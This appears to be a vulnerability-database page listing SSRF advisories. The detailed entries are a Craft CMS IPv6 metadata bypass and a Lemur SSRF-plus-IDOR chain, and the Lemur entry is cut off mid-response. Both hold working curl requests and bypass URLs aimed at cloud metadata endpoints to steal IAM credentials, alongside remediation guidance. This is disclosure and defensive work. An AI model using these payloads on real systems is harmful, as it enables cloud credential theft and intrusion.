GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5697 vulnerabilities reference this CWE, most recent first.

GHSA-V2GC-RM6G-WRW9

Vulnerability from github – Published: 2026-02-24 15:51 – Updated: 2026-02-24 15:51
VLAI
Summary
Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution
Details

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for: - Edit assets in the <VolumeName> volume - Create assets in the <VolumeName> volume

These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)


Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL                                               |
|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |
|         -> No A record exists                                               |
|         -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!)           |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check                                                     |
|         in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...])       |
|         -> FALSE (string != IPv4 addresses)                                 |
|         -> VALIDATION PASSES                                                |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request                                           |
|         -> Resolves DNS (including AAAA records)                            |
|         -> Gets IPv6: fd00:ec2::254                                         |
|         -> Connects to AWS IMDS IPv6 endpoint                               |
|         -> CREDENTIALS STOLEN                                               |
+-----------------------------------------------------------------------------+

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Cloud Provider Blocked IPv4 IPv6 Equivalent Bypass Payload
AWS EC2 IMDS 169.254.169.254 fd00:ec2::254 http://fd00-ec2--254.sslip.io/
AWS ECS 169.254.170.2 fd00:ec2::254 (via IMDS) http://fd00-ec2--254.sslip.io/
Google Cloud GCP 169.254.169.254 fd20:ce::254 http://fd20-ce--254.sslip.io/
Azure 169.254.169.254 No IPv6 endpoint N/A
Alibaba Cloud 100.100.100.200 No documented IPv6 N/A
Oracle Cloud 192.0.0.192 No documented IPv6 N/A

Additional IPv6 Internal Service Bypass Payloads

Target IPv6 Address Bypass Payload
IPv6 Loopback ::1 http://0-0-0-0-0-0-0-1.sslip.io/
AWS NTP Service fd00:ec2::123 http://fd00-ec2--123.sslip.io/
AWS DNS Service fd00:ec2::253 http://fd00-ec2--253.sslip.io/
IPv4-mapped IPv6 ::ffff:169.254.169.254 http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/

Steps to Reproduce

Step 1: Verify DNS Resolution

# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)

# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254

Step 2: Enumerate AWS IAM Role Name

curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
  }'

Step 3: Retrieve AWS Credentials

# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
  }'

Step 4: Access Saved Credentials

The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).


Attack Scenario

  1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled
  2. Attacker sends mutation with url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"
  3. Error message or saved file reveals IAM role name
  4. Attacker retrieves credentials via second mutation
  5. Attacker uses credentials to access AWS services
  6. Attacker can now achieve code execution by creating new EC2 instances with their SSH key

Remediation

Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:

// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
    $records = [];
}

// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
    'fd00:ec2::',       // AWS IMDS, DNS, NTP
    'fd20:ce::',        // GCP Metadata
    '::1',              // Loopback
    'fe80:',            // Link-local
    '::ffff:',          // IPv4-mapped IPv6
];

foreach ($records as $record) {
    // Check IPv4 (existing logic)
    if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
        return false;
    }

    // Check IPv6 (NEW)
    if (isset($record['ipv6'])) {
        foreach ($blockedIPv6Prefixes as $prefix) {
            if (str_starts_with($record['ipv6'], $prefix)) {
                return false;
            }
        }
    }
}

Additional Mitigations

Mitigation Description
Block wildcard DNS services Block nip.io, sslip.io, xip.io suffixes
Use dns_get_record() Resolves both IPv4 and IPv6

Resources

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.22"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.18"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0"
            },
            {
              "fixed": "4.16.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T15:51:07Z",
    "nvd_published_at": "2026-02-24T03:16:02Z",
    "severity": "MODERATE"
  },
  "details": "The SSRF validation in Craft CMS\u2019s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.\n\nThis is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).\n\n## Required Permissions\n\nExploitation requires GraphQL schema permissions for:\n- Edit assets in the `\u003cVolumeName\u003e` volume\n- Create assets in the `\u003cVolumeName\u003e` volume\n\nThese permissions may be granted to:\n- Authenticated users with appropriate GraphQL schema access\n- Public Schema (if misconfigured with write permissions)\n\n---\n\n## Technical Details\n\n### Root Cause\n\nFrom PHP documentation: *\"gethostbyname - Get the IPv4 address corresponding to a given Internet host name\"*\n\nWhen no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.\n\n### Bypass Mechanism\n\n```\n+-----------------------------------------------------------------------------+\n| Step 1: Attacker provides URL                                               |\n|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |\n+-----------------------------------------------------------------------------+\n| Step 2: Validation calls gethostbyname(\u0027fd00-ec2--254.sslip.io\u0027)            |\n|         -\u003e No A record exists                                               |\n|         -\u003e Returns: \"fd00-ec2--254.sslip.io\" (string, not an IP!)           |\n+-----------------------------------------------------------------------------+\n| Step 3: Blocklist check                                                     |\n|         in_array(\"fd00-ec2--254.sslip.io\", [\u0027169.254.169.254\u0027, ...])       |\n|         -\u003e FALSE (string != IPv4 addresses)                                 |\n|         -\u003e VALIDATION PASSES                                                |\n+-----------------------------------------------------------------------------+\n| Step 4: Guzzle makes HTTP request                                           |\n|         -\u003e Resolves DNS (including AAAA records)                            |\n|         -\u003e Gets IPv6: fd00:ec2::254                                         |\n|         -\u003e Connects to AWS IMDS IPv6 endpoint                               |\n|         -\u003e CREDENTIALS STOLEN                                               |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Bypass Payloads\n\n### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents\n\n| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |\n|----------------|--------------|-----------------|----------------|\n| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |\n| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |\n| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |\n| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |\n| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |\n| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |\n\n### Additional IPv6 Internal Service Bypass Payloads\n\n| Target | IPv6 Address | Bypass Payload |\n|--------|--------------|----------------|\n| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |\n| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |\n| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |\n| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |\n\n---\n\n## Steps to Reproduce\n\n### Step 1: Verify DNS Resolution\n\n```bash\n# Verify the hostname has no IPv4 record (what gethostbyname sees)\n$ dig fd00-ec2--254.sslip.io A +short\n# (empty - no IPv4 record)\n\n# Verify the hostname has IPv6 record (what Guzzle/curl uses)\n$ dig fd00-ec2--254.sslip.io AAAA +short\nfd00:ec2::254\n```\n\n### Step 2: Enumerate AWS IAM Role Name\n\n```bash\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d \u0027{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\\\", filename: \\\"role.txt\\\" }) { id } }\"\n  }\u0027\n```\n\n### Step 3: Retrieve AWS Credentials\n\n```bash\n# Replace ROLE_NAME with the role discovered in Step 2\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d \u0027{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\\\", filename: \\\"creds.json\\\" }) { id } }\"\n  }\u0027\n```\n\n### Step 4: Access Saved Credentials\n\nThe credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).\n\n---\n\n### Attack Scenario\n\n1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled\n2. Attacker sends mutation with `url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\"`\n3. Error message or saved file reveals IAM role name\n4. Attacker retrieves credentials via second mutation\n5. Attacker uses credentials to access AWS services\n6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**\n\n---\n\n## Remediation\n\nReplace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:\n\n```php\n// Resolve both IPv4 and IPv6 addresses\n$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);\nif ($records === false) {\n    $records = [];\n}\n\n// Blocked IPv6 metadata prefixes\n$blockedIPv6Prefixes = [\n    \u0027fd00:ec2::\u0027,       // AWS IMDS, DNS, NTP\n    \u0027fd20:ce::\u0027,        // GCP Metadata\n    \u0027::1\u0027,              // Loopback\n    \u0027fe80:\u0027,            // Link-local\n    \u0027::ffff:\u0027,          // IPv4-mapped IPv6\n];\n\nforeach ($records as $record) {\n    // Check IPv4 (existing logic)\n    if (isset($record[\u0027ip\u0027]) \u0026\u0026 in_array($record[\u0027ip\u0027], $blockedIPv4)) {\n        return false;\n    }\n\n    // Check IPv6 (NEW)\n    if (isset($record[\u0027ipv6\u0027])) {\n        foreach ($blockedIPv6Prefixes as $prefix) {\n            if (str_starts_with($record[\u0027ipv6\u0027], $prefix)) {\n                return false;\n            }\n        }\n    }\n}\n```\n\n### Additional Mitigations\n\n| Mitigation | Description |\n|------------|-------------|\n| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |\n| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |\n\n---\n\n## Resources\n\n- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3\n- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - \"Get the **IPv4 address** corresponding to a given Internet host name\"\n- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)\n- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)\n- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)\n- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)",
  "id": "GHSA-v2gc-rm6g-wrw9",
  "modified": "2026-02-24T15:51:07Z",
  "published": "2026-02-24T15:51:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution"
}

GHSA-V2GF-QRV9-W74G

Vulnerability from github – Published: 2024-07-09 06:30 – Updated: 2024-07-09 06:30
VLAI
Details

SAP CRM (WebClient UI Framework) allows an authenticated attacker to enumerate accessible HTTP endpoints in the internal network by specially crafting HTTP requests. On successful exploitation this can result in information disclosure. It has no impact on integrity and availability of the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-39598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T04:15:14Z",
    "severity": "MODERATE"
  },
  "details": "SAP CRM (WebClient UI Framework) allows an\nauthenticated attacker to enumerate accessible HTTP endpoints in the internal\nnetwork by specially crafting HTTP requests. On successful exploitation this\ncan result in information disclosure. It has no impact on integrity and\navailability of the application.",
  "id": "GHSA-v2gf-qrv9-w74g",
  "modified": "2024-07-09T06:30:39Z",
  "published": "2024-07-09T06:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39598"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3467377"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2J5-972J-H7CP

Vulnerability from github – Published: 2022-05-17 03:02 – Updated: 2022-05-17 03:02
VLAI
Details

The media-file upload feature in GeniXCMS through 0.0.8 allows remote attackers to conduct SSRF attacks via a URL, as demonstrated by a URL with an intranet IP address.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-5518"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-01-17T09:59:00Z",
    "severity": "HIGH"
  },
  "details": "The media-file upload feature in GeniXCMS through 0.0.8 allows remote attackers to conduct SSRF attacks via a URL, as demonstrated by a URL with an intranet IP address.",
  "id": "GHSA-v2j5-972j-h7cp",
  "modified": "2022-05-17T03:02:38Z",
  "published": "2022-05-17T03:02:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5518"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semplon/GeniXCMS/issues/64"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95462"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2P8-6VVR-34M3

Vulnerability from github – Published: 2025-09-26 09:31 – Updated: 2025-09-26 09:31
VLAI
Details

The Snow Monkey theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 29.1.5 via the request() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-26T07:15:40Z",
    "severity": "MODERATE"
  },
  "details": "The Snow Monkey theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 29.1.5 via the request() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-v2p8-6vvr-34m3",
  "modified": "2025-09-26T09:31:11Z",
  "published": "2025-09-26T09:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inc2734/snow-monkey/compare/29.1.5...29.1.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inc2734/wp-oembed-blog-card"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inc2734/wp-oembed-blog-card/blob/master/src/App/Model/Requester.php#L64-L89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inc2734/wp-oembed-blog-card/compare/14.0.1...14.0.2"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3d4a938a-044b-4991-bc4c-db9e15210f06?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2PM-MWVH-P9W7

Vulnerability from github – Published: 2026-03-30 18:31 – Updated: 2026-03-30 18:31
VLAI
Details

A flaw has been found in SourceCodester RSS Feed Parser 1.0. Affected by this issue is the function file_get_contents. This manipulation causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been published and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-30T18:16:20Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in SourceCodester RSS Feed Parser 1.0. Affected by this issue is the function file_get_contents. This manipulation causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been published and may be used.",
  "id": "GHSA-v2pm-mwvh-p9w7",
  "modified": "2026-03-30T18:31:18Z",
  "published": "2026-03-30T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5126"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@hemantrajbhati5555/discovering-a-blind-ssrf-vulnerability-in-a-php-rss-feed-parser-243f3ccbdafb"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/780180"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354158"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354158/cti"
    },
    {
      "type": "WEB",
      "url": "https://www.sourcecodester.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V2VH-HR2H-F29R

Vulnerability from github – Published: 2026-02-24 03:30 – Updated: 2026-02-24 03:30
VLAI
Details

A vulnerability was found in DataLinkDC dinky up to 1.2.5. The impacted element is the function proxyUba of the file dinky-admin/src/main/java/org/dinky/controller/FlinkProxyController.java of the component Flink Proxy Controller. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-3052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-24T02:16:03Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in DataLinkDC dinky up to 1.2.5. The impacted element is the function proxyUba of the file dinky-admin/src/main/java/org/dinky/controller/FlinkProxyController.java of the component Flink Proxy Controller. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-v2vh-hr2h-f29r",
  "modified": "2026-02-24T03:30:20Z",
  "published": "2026-02-24T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3052"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnalogyC0de/public_exp/issues/7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnalogyC0de/public_exp/issues/7#issue-3935032160"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.347410"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.347410"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.757587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V2WP-FRMC-5Q3V

Vulnerability from github – Published: 2026-06-25 22:07 – Updated: 2026-06-25 22:07
VLAI
Summary
Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise
Details

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR

Vulnerability Summary

Field Value
Title Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Component lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)
CWE CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)
Attack Prerequisite A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.
Affected Versions github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Executive Summary

A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report.

Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf


Description

Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.

Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.

Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker.

Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key.

Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.

Proof of Concept & Steps to Reproduce

A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80.

Prerequisites: Docker, curl, jq, openssl.

Run

cd lemur_pki_acme_ssrf_idor/
EXPLOIT_FAST=1 ./exploit_code.sh

The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review.

Step 1 — Authenticate via SSO (sink 1)

curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.example","roles":["operator"]}'

Response (evidence/03_sso_provision_response.json):

{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "active": true,
    "auto_provisioned": true,
    "email": "attacker@evil.example",
    "id": 1,
    "roles": ["operator"]
  }
}

active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1.

Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2)

curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'

Response (evidence/04_ssrf_authority_response.json):

{
  "acme_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role",
  "creator_id": 1,
  "id": 1,
  "name": "poc-acme",
  "ssrf_error": null,
  "ssrf_response_body": "{
  \"Code\": \"Success\",
